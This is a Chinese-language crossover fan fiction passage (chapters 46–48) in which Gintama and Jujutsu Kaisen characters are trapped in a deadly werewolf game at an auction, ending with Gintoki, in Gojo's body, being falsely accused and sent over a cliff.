一旁的神乐满脸无辜地举起手：“我这不是谋杀，银酱只是在冰箱里睡觉而已。”
“睡觉？你是说永眠吗？”
“你说什么呢。”神乐看过去，“那个屏幕上不是说要每个人在单独的房间里睡觉吗？这个厨房又没有第二个房间。”
“于是，无敌的美少女，歌舞伎町的女王——我！想到了一个绝妙的方法阿鲁。你看！四周密不透风。”神乐拉了拉冰箱门，“这还有可以开合的门，组合在一起，怎么不算个房间呢？”
伏黑甚尔不断往嘴里扒拉饭的手一顿，好熟悉的说辞，真是让人叹为观止，原来这里脑回路清奇的人不止一个。
这个地方有什么魔力，竟然能把这么多奇奇怪怪的人，同时聚集在了一起。
“喂！外面有人吗？！我被困在一片黑暗中了，周围很窄也很结实，我撞不动，救救我！”
厨房里突然响起求救声，仔细一听，竟然是志村新八的声音。
坂田银时眼神一凛：“新八！我们就在附近，你先不要随便乱动，发出声让我知道你在哪？”
神乐疑惑地眨了眨眼：“你们干嘛大喊大叫的？”
然后走到电饭锅前，按下按钮，打开了盖子，露出锅里的志村新八。
坂田银时：“… …”
志村新八：“… …诶？”
此时此刻，恰如彼时彼刻，伏黑甚尔甚至已经可以抢答了：“四周封闭，有可以开关的门，是个房间。”
“没错阿鲁！”神乐昂着头叉腰，“不愧是我，在这么紧急
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的情况下也能瞬间想出对策，诶呀，你们要是离了我该怎么办阿鲁。”
坂田银时抹了把脸：“… …我现在已经开始搞不清‘房间’的定义了。”
锅底的志村新八附和：“我也是。”
神乐重新把志村新八戴在头上，一行人重新聚集，开始商量接下来的行动。
“所以为什么我们这么自然地就组队了？虽然一开始你就很自来熟的样子，但我们其实是不认识的吧？”
志村新八看了看满脸写着“不好惹”的伏黑甚尔，再看了看战损装的坂田银时，觉得这不是什么好的组队人选。
“怎么？你们还有别的选择？”坂田银时咳嗽了几声，“真是拿你没办法啊，好吧好吧，那现在先自我介绍一下吧？这样就不算不认识了。”
“这个流程怎么看都不对劲吧？而且从之前的事情来看，很明显你就是单方面认识我们吧？这么一想不是更可疑了吗喂！”
神乐积极地举手：“我先来阿鲁！我叫神乐，喜欢吃醋昆布和米饭。”
“嗯，很好哦，神乐同学，作为新班级的一份子，要积极融入集体才行啊，像某些新学期一开始，就想要以奇怪的言行吸引别人注意的同学，到最后反而会被全班孤立的哦，会一辈子童贞的哦。”
“谁会被孤立啊！而且这和童贞没有关系吧？很明显这只是在人身攻击吧？还有不要一副班主任的口吻说话啊！”
“阿八，你就是这样不配合，才总会被教导主任抓去罚站的阿鲁。”
神乐满脸遗憾地摇了摇头，然后托起地上还在昏迷的【坂田银时】，举到自己面前，一手抓着一只胳膊晃了晃，故意压低了声线：“哈喽，我叫旗木卡卡西，马上打五万到我卡上，等我做了六代目村长，就封你为村里第一忍者阿鲁。”
“很好，这位旗木同学，给我去走廊罚站！”
“不要随便套用别的动画人物身份做诈骗啊！而且做了自我介绍反而要罚站啊喂！和刚刚讲的完全不一样啊！”
坂田银时摇了摇手指；“连当着全班的面自我介绍的勇气都没有，还需要女同学帮忙，以后出了社会该怎么找工作，怎么和同事沟通？这种性格到最后只会被集体冷落，然后自己灰溜溜地辞职。”
“突然一下子话题变得好沉重啊，这真的是能给学生讲的东西吗？”
“这位同学，从刚刚开始就很扰乱课堂纪律啊我说。”坂田银时托了托自己鼻梁上不存在的眼镜，“你的自我介绍呢？”
在众人的注视下，一直不断吐槽的志村新八卡了壳，在一片沉默中，他心里的压力陡然升高，挣扎了半天，最后还是小声地说出了自我介绍：“你们好，我叫志村新八。”
“去走廊罚站。”
“为什么啊！”
“普通，实在是太普通了，和你的眼镜款式一样的普通。”
“不要小看我的款式啊，要知道越普通的款式卖出去的销量越高！”志村新八不服气地朝着坂田银时微微扬起，“那你呢？光是让别人做自我介绍，是不是有些不礼貌。”
“既然你诚心诚意的发问了，我就大发慈悲的告诉你。”
“... ...不，我并没有。”
坂田银时发出一连串的咳嗽，然后摆出一个非常标准的jojo立：“我就是天上地下，唯我独尊，‘最强’的代名词，烫男人中的烫男人，五条悟！”
这一连串自夸的词说出，让伏黑甚尔也忍不住侧目钦佩，竟然有人敢当着别人的面这么夸自己。
志村新八表示不屑：“说了这么多，结果不就只说了你的名字吗？”
坂田银时没有和刚刚那样呛回来，只是沉默地看着志村新八，然后再看看满脸淡定的神乐。
反而搞得志村新八有些不知所措：“怎，怎么了？”
观察了一会两人的反应，坂田银时要众人做自我介绍的目的达成，心下里对情况更加了然几分，心里却忍不住有些失落。
如果是他认识的那个志村新八和神乐的话，怎么会不认识“五条悟”呢。
他将无人察觉到的低落心情按下，恢复原先懒洋洋的神情：“没什么。”
46.第四十六章
剩下的伏黑甚尔和黑泽法子简单的介绍了下自己的名字，这样大家就算认识了。
认识之后，大家先在厨房内解决了下早餐，就准备开始调查周围环境。
伏黑甚尔一向喜欢独来独往，一眨眼就失去了踪影。
剩下的人就自动两两组队，一组负责内部，另一组负责外围。
负责外围的坂田银时和黑泽法子，沿着边缘走了一圈，发现属于拍卖会的布局和之前没有变化，但是在外面的地理环境彻底被改变。
原本拍卖会地址周围，应该是平地和一片茂密的树林，此刻却能在迷雾中看到隐隐的连绵山峦。
这让坂田银时更加怀疑，他们所在的地方，或许不是简单的被未知力量包围，而是整个空间发生了变化。
花了不少时间调查完，众人再次齐聚在厨房内，原本摆放菜品的餐桌，此时被一键清空，成为了他们的临时会议桌。
接下来便是此次的重点，对于各自知道的情报、分析出来的信息，进行交流和汇总。
大家先简单说了下，对于周围环境的观察，结论和坂田银时想的大差不大。
“要说异常的地方，首先有一点，就是入睡的感觉有些不自然。”
关于这一点，坂田银时最有发言权。
自从他来到这个世界之后，六眼对于他的脑力消耗时刻都在发生，就算是睡觉，也会不断地吸收外界的信息，所以他这段时间经常处于半睡半醒的状态。
而这次，虽说事先是他自己将自己弄晕，但是意识能消失这么久，本身已经很奇怪了。
更何况，他醒过来的时候，给他的感觉更像是被人按了开机键之后，立马在关机和开机的状态中转换了过来，一点过渡也没有。
他将自己的感觉说出来之后，得到了大家的认同。
他们都多多少少感受到了这一异常。
伏黑甚尔接着说：“剩下的就是那片迷雾了吧？”
说到“迷雾”，在场的人都忍不住回想起那仿佛被融化的人。
黑泽法子忍不住打了个冷颤，脸色不好起来。
“关于这个，迷雾遮挡住了我的视线，看不到外界的场景，也看不到雾里的景色。”坂田银时指了指自己的眼睛，然后继续说，“应该是用来防止人们出逃的，越靠近迷雾深处，肉1体就越有可能被腐蚀。”
伏黑甚尔不爽地咂了咂嘴。
要想破除现在的情况，要么按照屏幕说的做，要么就想办法直接干掉敌人。
对于伏黑甚尔来说，他更偏向于第二种。
坂田银时也是这么想的，谁知道敌人后面会不会让他们做更丧心病狂的事呢？主动出击好过于坐以待毙。
他和伏黑甚尔对视一眼，知道对方和自己想的一样，扬了扬嘴角，收回了视线。
“我还有发现了个异常阿鲁。”
神乐看没人再分享情报，便主动举手：“我醒来的时候，不知道被谁在脸上画了奇怪的图案阿鲁。”
志村新八立马紧张起来：“诶？没事吧？小神乐？有没有感觉不舒服的？”
“没有阿鲁。”
坂田银时连忙问：“还记得是什么图案吗？”
“不记得了，不过我尝了一下，应该是血阿鲁。”
志村新八瞬间炸毛：“不要随随便便尝些来历不明的东西啊！”
就在大家开始冥思苦想这是什么原因的时候，外面传来一阵非常熟悉的上课铃声。
大家对望一眼，一起走出去，循着声音来到了屏幕下面。
原先漆黑的屏幕上，重新多了一大段话，密密麻麻，看得让人头皮发麻。
利用六眼良好的视野和信息获取能力，坂田银时最快一个阅读完了内容。
简而言之，就是让他们这群人进行一场大型的狼人杀，而屏幕上写着的都是这场狼人杀的相关规则。
除了已知的每天要在规定时间之前，独自在房间内入睡之外，还有些对于各种身份的解释。
而身份在他们之前被要求强迫入睡的期间，就已经发放出去了。
被选中为狼人身份的人，脸上会被血液画上符号。
坂田银时沉默了。
剩下的人陆陆续续读完屏幕里的内容，一个两个的也沉默了起来。
好消息，刚刚的疑惑得到了解答，神乐并没有受到伤害。
坏消息，接下来他们采取怎样的行动，决定了之后到底谁会受到伤害。
但比起恐惧，此刻气氛中尴尬的成分更多一点。
胜负心很强，道德感很低的伏黑甚尔咧嘴一笑：“不错，这么快就先抓到一只狼。”
神乐紧紧抱住自己：“你要对我这个无知的少女做什么阿鲁！”
“等等等，冷静一点。”坂田银时按下蠢蠢欲动的伏黑甚尔，“就算现在刀了这只幼狼，也没有好处。”
“就是就是！”
“我们可以先让她今晚和别的狼碰头，然后白天告诉我们剩下所有狼人是谁，这样我们就能一举获胜。”
“喂！”
“好主意。”
“不行！怎么有人一开始就想着牺牲伙伴的阿鲁！不应该想办法救救我吗？”
“安心去吧，小神乐。”坂田银时半蹲下身，拍了拍神乐的肩膀，“虽然你牺牲了，但是你拯救了我们这么多人，你会永远活在我们的心中。”
神乐一个头槌砸在坂田银时下巴上：“不要以我死为前提考虑事情啊！”
听到铃声，来查看情况的人开始慢慢变多，看清屏幕上的内容之后，大家面色惨白，和还在斗嘴的坂田银时一伙人形成鲜明对比。
他们知道，能来到这里的，都是些心狠手辣才攀上高位的人，手上不知道沾了多少鲜血。
为了自己能够出去，亲自动手杀人，对他们来说并不是需要突破道德底线，很难实行的事情。
大家保持着距离，眼里满是猜忌，更别说团结在一起，想办法一起逃出去。
深知这群家伙德行的坂田银时和伏黑甚尔，在一开始就没有抱多大希望，但此时的他们显然还有更重要的事情要做。
在看完了现场其他人的反应后，他们俩对视一眼，对上了脑回路，一起默不作声地提前离开。
还在一边输出的神乐，看着转头就走的两人，有些摸不着头脑，但为了不在第一天就被他们投出去，连忙跟了上去。
他跟着两人左拐右拐，最终来到了贵宾房间的走廊。
“诶呀，虽然说我‘厕所隔间’这一天才的想法很好啦，但是果然，人还是要躺在床上才算是睡觉啊。”
坂田银时一扇扇门地拉过去，不出意料地找到了一间没有上锁的房间。
毕竟这里的人除了心狠手辣之外，还有个养尊处优的特点。<
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总有人习惯自己屁股后面跟着个小尾巴，把自己所有的事情都办好，于是自然也就容易养成一些不良习惯。
比如出门不上锁。
他探头看了看，是自己喜欢的欧式装修。
“那我今天就先休息了，各位明天见。”
然后用力关上房门，并且贴心地锁了起来。
伏黑甚尔也一点不挑，随便拉到一扇能开的门就走了进去，他再也不想和厕所产生什么瓜葛了。
只留下目瞪口呆的黑泽法子和满腔话语无处输出的神乐。
志村新八回过神，难以置信地说着：“所以，你们这么气势汹汹地走过来，只是为了趁大家都在看屏幕的时候，抢占一个房间睡觉？！”
“新八，我突然觉得困了，这个房间就很不错。”
“小神乐？不要被他们带跑偏啊！原先房间的主人回来了怎么办？”
“主人？什么主人？这里又没有写名牌阿鲁，难道你出门住酒店，也会说酒店里的房间是你个人所有的吗？”
带着还在争辩的志村新八，神乐转头走进了一个房间内。
“等一下。”
黑泽法子叫住了她，神情犹豫。
“没关系的阿鲁，你也可以挑一间自己喜欢的住，只要锁上门，他们就进不来阿鲁。”
“我不是想说这个。”黑泽法子纠结了一会，下意识揉搓的掌心里，冒出密密麻麻的汗，“我，我可以请你帮我个忙吗？”
神乐看了过去，眼神示意她继续说。
“今晚，你就要去... ...选择一个人了吧？”她深吸一口气，口袋里的一张纸被她攥皱。
她张了张嘴，抬眼看向神乐，却在看着对方清澈的双眼和稚嫩的脸庞时，嘴里的话卡在了喉咙里。
她意识到面前的人，再怎么表现的冷静，这也只是个孩子。
顶着神乐疑惑的目光，最终她松开口袋里被紧攥的纸片，努力试着笑了笑，摇了摇头：“没什么，你，今晚不要害怕，不想做的话可以跑掉。”
看着比自己还要紧张的黑泽法子，神乐咧出一个大大的笑容：“嗯，谢谢你阿鲁。”
等到看完屏幕提供的信息，大家陆续回到自己的房间内，而有四个人，在回到自己原先的房间时，却发现门被反锁，里面住了其他人。
他们气急败坏，先是像平时那样耍威风，想要让门里的人主动让出房间。
但眼看着天色越来越暗，原本嚣张的气焰渐渐消失，开始转而哀求。
到最后只能低声下气地询问他们昨晚住在哪里，不管怎么样，先平安度过今晚再说。
在听到坂田银时中气十足的“厕所隔间”时，四个人齐齐倒吸一口气。
佩服，真是狠人。
然后骂骂咧咧地走向厕所，寻找着今晚属于自己的马桶王座。
贵宾房间内配备十分齐全，有水果和甜点摆盘，一整面墙的酒水，还有一个冰箱。
冰箱里装的满满当当的食物，足够除了神乐的他们吃个几天。
几天以来，坂田银时第一次真正享受到了属于这场拍卖会的服务。
夜幕降临，和昨晚的同一个时间，众人一起陷入梦乡，失去意识。
被选中的狼人睁开眼，在一片寂静中推开各自的房间门，来到庭院中集合。
今夜，有人将在睡梦中被杀死。
47.第四十七章
第二天的早晨，也是同样的时间，所有人的意识恢复清醒。
看着窗外灰蒙蒙的天气，众人心有余悸地感叹着，自己又活了一天。
又是一夜好梦，坂田银时神清气爽地伸了个懒腰，磨磨蹭蹭地洗漱完，拿着一颗苹果，边啃边走出房间。
他没有忘记带上钥匙，并且在离开前锁好门。
而那惦记着自己房间的四个冤大头，虽然刚一清醒，就一起冲到了贵宾休息区，却还是晚了一步。
他们看着换了身男装，扬着眉头笑容放肆的坂田银时，恨得牙痒痒，但看着对方那海拔和肌肉，却也无能为力。
最终也只好转变策略，准备和昨天的坂田银时他们一样，趁别人不备，抢占别人的房间。
附近不远处的一扇门打开，神乐头上戴着志村新八从里面走出。
“哟，早上好啊，五条老师。”
这个熟悉又陌生的称呼，让坂田银时有些不习惯，不由得沉默了一下，接着就想起来，神乐这么叫自己，应该是因为昨天自己给自己按的班主任身份。
想清缘由之后，于是也抬手回应：“哟，神乐同学早上好，志村同学昨晚还是睡在电饭锅里吗？”
“报告老师，很遗憾房间里并没有发现电饭锅阿鲁，所以我让他睡在了电水壶里。”
“嗯，做得不错！”
志村新八小小的镜框上冒出大大的井字：“喂，一大早的不要用这种调侃的语气来嘲讽别人啊！你们以为我不想有个正常的房间吗？”
神乐嘟着嘴：“可是给一个眼镜准备一个房间什么的，也太浪费了吧？”
“不要轻描淡写的说出这么伤人的话啊！到底是什么样的无良作者，才会把主角团里的角色本体写成眼镜啊！”
在吵闹声中，剩下的两个人也从房间内走了出来。
坂田银时拍了拍手：“好了好了，老师要开始点名了哦，一，二，三，四，嗯，全齐了呢，那我们就继续观光实践了哦。”
“不，等等。”志村新八激动地在神乐头上蹦了二十厘米，“少了个人啊！很明显少了个人啊！我说昨天怎么总觉得忘了什么！银桑呢？我们把银桑放哪了？”
“所以说，我就是银桑啊。”
“我记得，昨天出去看屏幕的时候，我好像顺手扔在厨房的地上了阿鲁。”
“那不是很糟糕吗！”
志村新八瞬间紧张起来，厨房昨天要是没有人进入到还好，如果没有满足“单独在一个房间入睡”的条件，后果不堪设想。
毕竟之前那些没找到房间的人，可都是消失了啊。
虽然没有留下尸体，但是从空气中飘散的血腥味，他们也不难猜出，这个奇怪的地方对于这些人的惩罚，就是死亡。
众人急匆匆赶到厨房，志村新八甚至已经在心里做好最坏的打算，只有伏黑甚尔和坂田银时不急不慢地坠在队伍后面。
推开门，门内还是和昨天一样的一片狼藉。
而在地上，【坂田银时】笔直地躺在地上，双手交叉搭在小腹上，睡得十分安详。
志村新八松了一口气：“... ...该说不愧是他吗？这种情况下都还睡得着。”
黑泽法子不确定地说着：“不过这睡得时间是不是有点太长了？”
“没事没事。”神乐上手摸了一把【坂田银时】乱糟糟的卷毛，“还是热的，估计是长身体贪睡。”
看着地上明显已经成年的【坂田银时】，黑泽法子明智的没有选择继续追问。
“确认完了？那我们该开始正事了。”坂田银时看向神乐，“昨晚，他们杀人了吗？”
“他们想杀的人有很多阿鲁。”对于这个直白的提问，神乐并没有感到冒犯，而是细细回想着昨晚的经过，“他们说了好多我听不懂的话阿鲁，总之应该就是想要趁机把自己的竞争对手除掉，所以争论了好久阿鲁。”
“然后呢？怎么决定的？”
神乐搬过来一个椅子坐下，翘起二郎腿，右手搭在自己下巴上，一副高冷女王的做派。
“有本女王在，保尔等庶民的性命无虞。”
丈育分子黑泽法子眨了眨眼睛，眼神茫然，不是很理解。
坂田银时熟练地用狼人杀的规则解释：“意思就是昨晚是个平安夜。”
志村新八夸赞着：“不愧是小神乐！只要一直这样坚持下去，我们就能无伤亡的等待到救援了！”
在压抑的环境中，难得得到了一丝希望的曙光，让志村新八松了口气。
但没能放松多久，外面再次响起熟悉的上课铃声。
这次伴随着铃声的，还有一个充满机械感的声音，这个声音说出的话，让所有人陷入更深的恐惧之中。
【发现玩家死亡，请所有人立即前往庭院，进行审判会议，抓出狼人。】
意料之外的状况还是出现了。
很显然，幕后的那个敌人并不满意昨晚无事发生的结果，或者说早就猜到了会发生这种事情。
所以事先做好了准备，不管他们怎么做，最后在第二天，都会迎来相同的结果。
事情开始朝着他们不能掌控的方向变化，
众人脸上的轻松消失，彼此看了一眼，神乐将不知道是昏迷还是昏睡的【坂田银时】扛起，一行人急忙赶到了庭院中。
等他们到的时候，已经有不少人提前到了庭院，没有人再和之前一样三三两两的聚集在一起，而是彼此刻意保持着距离。
毕竟谁也不能保证，现在和自己谈笑风生的人，会不会就是下一秒拿刀捅向自己胸口的杀手。
场面没有愤怒的谩骂，也没有恐惧的哀鸣，有的只是一片死寂。
等到所有人都到齐了，写满规则的屏幕发生变化，正中间的最上方，挂着死者的照片以及各自简单的介绍。
而在下方，则是用简单的几何图，来标明所有人的座位。
显然这是要众人按照座位顺序坐好，并且在屏幕的指引下依次发言。
参加拍卖会的人不少，再加上一些其他的工作人员，林林总总加起来，大概也有一百多人。
第一天的房间分配，就已经刷掉一大半的人数，但是就狼人杀而言，剩下的人数还是有点太多了。
过多的人数，不光代表着游戏的难度大大增加，同时也意味着他们被困在这里的时长也在无限拖长。
如果只是这样按部就班下去，恐怕那个幕后的敌人不会满足于此，还会变本加厉地促进游戏进度。
按下心头越想越不妙的情绪，众人照着屏幕的示意图，在庭院中央凭空出现的座位上，寻找着自己的位置。
神乐将【坂田银时】塞进座位之后，就坐到了自己的座位上。
很不巧的是，坂田银时他们的座位并没有分配在一起，而是四散在各处，大家彼此只能遥遥相望。
既然座位不方便他们私下沟通，那就只好凭借他们的默契来打配合了。
“嘀”的一声响起，屏幕上红色的一圈座位中，其中一个座位变成绿色的图标，示意坐在该座位的人开始发言。
需要第一个发言的人愣了下，舔了舔干燥的嘴唇：“我，我没什么好说的，我不认识那几个死者，也不敢出房门。”
这含糊其辞，毫无信息量的发言，显然并不能让其中一部分人满意。
“狼人刀人难道还挑人？”
“说是不敢出房门，谁信？又不是什么古时候的大家闺秀。”
“没什么好说的，意思就是准备不打自招了吧？”
面对一声声质疑，那人眼神阴沉下来：“你们扪心自问，如果给你们这个机会，会不会想趁机将自己的仇敌先干掉？”
刚刚还一声比一声高的几个人，瞬间哑火，大家彼此之间都多少打过交道，外表伪装得再怎么光鲜亮丽，背地里什么样子却都一清二楚。
听着这一句不带任何遮掩的话，黑泽法子眼神晦暗地看了一会第一个发言的人，然后低下头，看到了自己握紧着，搭在膝盖上的拳头，大拇指慢慢揉搓了下食指关节。
场上的人大多将时间都花在和上层的社交，以及对自己利益的扩充上，对于狼人杀这种游戏十分陌生。
从第一个发言开始，大家的话术都大致雷同，根本看不出到底谁可疑。
如果之后再这样下去，恐怕他们就要随便挑一个倒霉鬼，来结束今天的审判了。
“我觉得有四个人很可疑！”
一个青年突然冒出不一样的话语，引起在场所有人的注意。
他身上穿着和一圈礼服格格不入的工作服，显然是幸运活下来的一个小员工。
面对这么多气宇不凡的大人物的注目，他有些胆怯地缩了缩脖子
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，接着继续说着：“今天早上，我一醒来就想上厕所，结果刚到厕所，就看到有四个人从里面冲了出来，我出门的时候听得可清了，周围没有人比我更早出房门，那他们是怎么在我之前进的厕所？”
“还记得是哪四个人吗？”
小员工点了点头，站起来环顾了一周，凭着记忆指出了四个人。
被指到的四个人不情不愿地站起身，脸色是清一色的臭。
坂田银时伸头看去，发现这被指出的四个人竟然都是老熟人，正好就是昨晚被赶出房间，被迫住在厕所隔间的四个倒霉蛋。
稍微一想，他也就明白了前因后果。
面对那四个人的怒目而视，他不慌不忙，悠闲地靠在椅背上，从口袋里抓出一把瓜子，一副看热闹的幸灾乐祸。
完全没有出面帮忙解释的意图。
“说吧，是什么情况？”
四个人沉默地站在原地，互相甩着眼神，没用的面子和过剩的自尊心，让他们对于自己的遭遇有些难以启齿。
这一情况加大了众人对他们的怀疑，不少人开始嚷嚷着干脆就投票选他们四个。
眼看着场面对自己越来越不利，四个人也顾不上什么面子不面子，直接将自己住在厕所隔间的事情说了出去。
所有人瞬间没了声，看向四个人的眼神也不由得多了些钦佩。
但这眼神让站起来的四个人反而感觉更加的难堪起来。
他们徒劳地用手遮住自己的面部，眼神愤愤地坐下。
多年磨练出来的厚脸皮，能够让他们在极短的时间内冷静下来，接着他们仔细一想，一切让他们丢人的罪魁祸首，就是那四个抢占了他们房间的人。
脸丢就丢了，但仇不能不报！
虽然其中三个不知道是谁，但是他们可是亲眼看到，那个白毛是从他们的房间里走出来的。
四个人对视一眼，立即统一战线。
倒霉怎么可以只有他们倒霉？不管用什么办法，他们都要把那个白毛拉下水。
其中一人率先出击，用闲谈的口吻说着：“说到住在厕所隔间这个想法，还是别人告诉我们的呢。”
成功引起其他人的好奇：“哦？还有高手？”
“就是他！抢了我们的房间，让我们没地方住。”另一个人情绪激动，指向坂田银时，“但在这之前，他肯定是住在厕所的。”
“这种地方都能找到，是不是事先就知道些什么啊？”
“也不一定啊，说不定只是身份是狼人，所以知道的多点而已。”
四个人互相搭腔，一人一句，直把矛头指向坂田银时。
眼看着自己被拉了仇恨，坂田银时嘴里的瓜子也不香了，心里也忍不住咯噔一下。
“喂喂喂，所以说你们这些烂橘子，别一遇到什么事情，就喜欢搞些阴谋论啊，你们脑子上的沟怕不是都没有橘子皮上的褶多？”
一句话，就轻轻松松地就骂了在场的绝大多数人。
平日里颐气指使的上层人士，在拍卖会的这几天算是吃光了这辈子的委屈，此刻一个毛头小子也敢指着他们鼻子骂，让他们不顾形象地怒斥起来。
“放肆！你知道我是谁吗？得罪了我，你可不会有什么好下场！要不是被困在这种鬼地方... ...”
安静没多久的庭院，顷刻间又吵成菜市场。
如果这场审判没有截止时间的话，恐怕他们能一直这样吵到第二天。
对于伏黑甚尔这种听力很好的人来说，这种场面简直就是噩梦，没什么耐心的他挽起袖子，准备直接以理服人。
“我有狼人的情报。”
一片混乱中，全程沉默不语的黑泽法子举起手发言。
她放在膝盖上的手紧紧抓住衣服，止不住地开始颤抖。
坂田银时疑惑地看过去，对方却在接触到自己眼神的时候，移开了目光。
“我知道一个狼人，在屏幕还没有宣布规则的时候，大家都不知道脸上被血液画了符号意味着什么，于是狼人直接说了出来。”
神乐瞪大眼睛看了过去：“法子姐？”
“没错，那个人，就是和我一起组队的其中一个人。”
黑泽法子紧紧闭了下眼睛，胸口的心脏，跳动得过于猛烈，震得她的视线模糊不清。
“他就是这位五条先生。”
48.第四十八章
场面一下子安静起来。
“五条”、白发蓝眼，这些特征组合在一起，让和咒术界交往颇深的众人，立刻就能想到那个自诞生起，就打破了咒术界多年平衡的存在。
虽然之前大家多多少少都有些猜测，但没想到会是真的。
毕竟谁也不会觉得，那个在高专上学的“好好学生”，会跑到这种地方来。
五条悟的强大毋庸置疑，但这份强大在灰色的地带中，却显得碍眼得很。
他们很多人都想，但没有任何一个人有实力将其除掉。
但如果是在这片诡异的地方，他们或许可以尝试一下。
除掉五条悟，不光可以在没有支柱的五条家上咬下一大口肉，还能让背地里的那些黑暗地带再现辉煌的过去。
大家眼观鼻鼻观心，心里的野望在这片安静中开始无限地扩大。
感受着周围四涌的恶意，坂田银时表情凝固，茫然地用食指指了指自己：“... ...我？”
“没错，五条先生，我很遗憾... ...事情会变成这样。”
志村新八堪堪回神：“不不不，等一下！这有点不对劲吧？黑泽小姐，你这是怎么了？”
“... ...我只是，不想让自己的良心不安。”
伏黑甚尔嗤笑一声，作为在分发身份那个夜晚后，早晨第一个见到坂田银时的人，没有人比他再清楚不过，坂田银时脸上根本没有什么涂鸦。
就算考虑到是坂田银时在见面之前，就背着所有人偷偷擦干净了的情况，也是不可能的。
毕竟对于鲜血的味道，伏黑甚尔再熟悉不过，天与咒缚赐予的极致肉1体，让他就算是隔着厕所的隔间，也能在第一时间清楚地闻到。
而他也知道，坂田银时来到这里的原因之一，就是为了救黑泽法子，结果现在却被对方推下火坑。
伏黑甚尔咧嘴一笑，看向脸上已经失去笑容的坂田银时。
他很好奇，现在对方现在是什么感想，以及之后会做出什么样的举动。
没有墨镜的遮掩，阳光下的六眼更加清透明亮，那双过分美丽的眼眸，在失去一切情感之时，犹如神明捧在手中的，那最受喜爱的宝石，圣洁而又远离凡尘。
直直看去，仿佛人心也能被轻易看透，内心中，凡是带着一丝腌臜的想法，都会无所遁形。
恐惧，那是源自生物的本能。
亲近，那是因为对于超越世间美的追逐。
在这双眼睛所视之处，所有人都闭上了嘴，下意识将目光移开。
最终，这双眼睛看向发抖的少女。
“啊，没错。”
所有人听到坂田银时轻声笑了下，轻描淡写地承认。
“我就是狼人。”
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粗糙的麻绳捆在手腕上，随着被系紧的力道，皮肤微微作痛。
承认狼人身份的坂田银时被几乎是全票出局，此刻双手背在身后牢牢捆住，只有他拇指粗细的麻绳，看起来轻轻一挣就能扯断，但实际上就算用上术式也不能动分毫。
“规则”。
这个始终贯彻在这片空间的存在，就算再怎么强大的人，也必须按照规则行动。
坂田银时走在众人中间，一群人按照屏幕的指示，在一片迷雾中顺着固定的路线行走。
只要稍微有些其他的动作，都会被立马受到限制。
让原本想直接劫人的神乐和志村新八越来越焦急。
没有走多久，一个悬崖出现在眼前。
伏黑甚尔皱了皱眉，这凭空出现的悬崖，恐怕也是那神秘的敌人搞出来的东西，就是不知道底下，敌人准备了什么样的“惊喜”。
“喂，这肯定搞错了阿鲁。”
志村新八也连忙说：“对啊！这就是一面之词而已！黑泽小姐，你就是在开玩笑的对吧？”
神乐和志村新八一直帮着坂田银时说话，但显然由于孩子和会说话的奇怪物体的身份，本身说出的话语，就难以被信任。
更何况，在大家心中，坂田银时是不是狼人已经不重要了。
进行审判就必须要有结果，是不是真的狼人也都无所谓，只要被选出来的那个人不是自己，那这个人是谁并不重要。
而如果这个被选出来的人，是那个五条悟，对他们来说，反而才是大好事一件。
众人努力压制着内心的激动，那一双双眼睛中，透露出无可遏制的狂热和无尽的欲1望。
【去死吧，快点去死吧。】
扭曲的恶意是毒蛇，更是诅咒，它以人心为饲料，贪婪地吞食着一切光亮，而不知满足的它，现在正吐着信子，虎视眈眈地盯着下一个猎物。
坂田银时对着神乐和志村新八安抚一笑：“别担心，会没事的。”
他转身，迎着周围不再遮掩的恶意，顺着众人让开的道路，大步朝前走去。
路过伏黑甚尔的时候，坂田银时停下了脚步。
“还是一如既往的老好人啊。”伏黑甚尔嘲讽过去，“就是怕有些人不领情吧。”
黑泽法子听到这话，原本低着的头，埋得更低了。
“这算是在给我打抱不平吗？”
“... ...少蹬鼻子上脸。”
坂田银时忍不住笑了出来：“年纪不小了，就不要学jk傲娇啊大叔。”
他回头，再看了一眼神乐、志村新八和黑泽法子。
“他们的安全，就拜托你了。”
然后大步朝着悬崖，独自走去。
脖子上被套上绳索，肌肤感受着微微从绳索上传来的颤抖，那是另一头握着绳子的人正在激动地发抖。
那人眼睛放光，咽了咽口水，按照指示，将手里的绳子在悬崖边上的一颗枯树上绕了好几圈，最后打了个结实的死结。
伏黑甚尔烦躁地挠了挠头，有些不太适应现在的场面：“这算什么？托孤？”
“就算是委托吧，对于你来说，这个词更熟悉吧？”坂田银时低头，看着悬崖下深不见底的风景，“头回生意，记得价格算我便宜点。”
他不再犹豫，纵身一跃。
窒息感在一瞬间涌来，眼前的景色开始染上一层黑色，他下意识张开嘴，缺氧的大脑在向身体索取氧气。
但是这种感觉没有维持多久，耳鸣中，似乎听到了一声断裂的声音，接着就是重新涌入肺部的空气，以及从身上呼啸而过的风。
被浓雾包裹着身体，随着重力直直下坠，他脸上是密密的水汽，朝上看不到天空，朝下看不见地面，在这一片混沌中，只能感受到虚无。
仿佛偌大的天地间，只有他一个人。
就在这时，他听到从悬崖上，传来神乐和志村新八那熟悉的呼唤：“银酱/银桑！”
笑容重新出现在脸上，迷茫的内心被暖意包裹。
“什么嘛，认出我了，就早点和我说啊。”他眼神温柔，带着无限怀念，“害得银桑我都觉得有点寂寞了。”
“当然，只有一点点哦。”
悬崖上，神乐和志村新八趴在边上，看着被迷雾瞬间吞噬掉身形的坂田银时，渐渐模糊了视线，大颗大颗的眼泪滴落在尘
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土中，顷刻间就被吸干，消失踪迹。
“我们，我们成功了？”
“六眼死了？那个五条悟？”
压抑住的欢呼在一瞬间响起，震耳欲聋。
神乐回头，看着面前一张张笑脸，只感觉像是披着人皮的某种非人，他们模仿着人类的喜怒哀乐，却模仿不了人类的心。
虽然在笑，但是透露出来的不是喜悦，而是私欲和贪婪。
阴森可怖。
“喂！”愤怒冲上了神乐的头脑，她一把抓住最近一人的衣领，“有什么好笑的！你们还有没有良知？刚刚你们可是杀了一个人！”
听到这句话，周围的人没有生气，反而笑得更大声。
志村新八强迫自己冷静下来：“小神乐，不要说了，他们不会在乎的。”
尖锐的笑声刺痛着神乐的耳膜，握在身侧的双拳爆出青筋，她无处发泄的怒气，在心中不断增大。
“你们这群混蛋！”
神乐朝着面前这人挥出拳头，理智因为愤怒而消失，耳边志村新八的劝导像是被隔了层音，此刻的她难得的想不管不顾一回。
意料之外，宽厚粗糙的一只大手，轻松挡下了这一击，唤回了一些神乐的理智。
“冷静点。”伏黑甚尔抓着神乐的后衣领，将其提起，“想要报仇，你还有别的事情要做吧？”
“银酱才不是什么狼人！”神乐胡乱挣扎着，在空中不断踢腿：“放我下来阿鲁！我很冷静，理智告诉我不管怎么样，都要先把他们全都揍一顿阿鲁！”
